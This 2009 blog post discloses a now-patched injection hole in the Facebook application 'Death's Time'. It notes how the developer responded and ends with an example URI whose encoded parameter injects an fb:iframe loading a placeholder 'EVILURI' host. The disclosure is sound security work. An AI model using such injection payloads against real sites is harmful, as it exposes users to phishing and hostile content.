Sep. 24, 2009
Posted by theharmonyguy in FAXX Hacks | No comments
FAXX Hack: Death’s Time
Current Monthly Active Users: 11,802,383
Current Rank on Application Leaderboard: 16
Application Developer: 3happybytes
Responsiveness: I received no communication at first from the developers, but Facebook did. The hole was patched about a week after notification. After patching, the developer get in touch to confirm the fix.
Vulnerability Status: Patched
Example URI: http://apps.facebook.com/death-time/result.php?dia=1&anio=1991&mes=1%22%2F%3E%3C%2Fa%3E%3C%2Fp%3E%3Cfb%3Aiframe+src%3D%22http%3A%2F%2FEVILURI%2F%22%3E
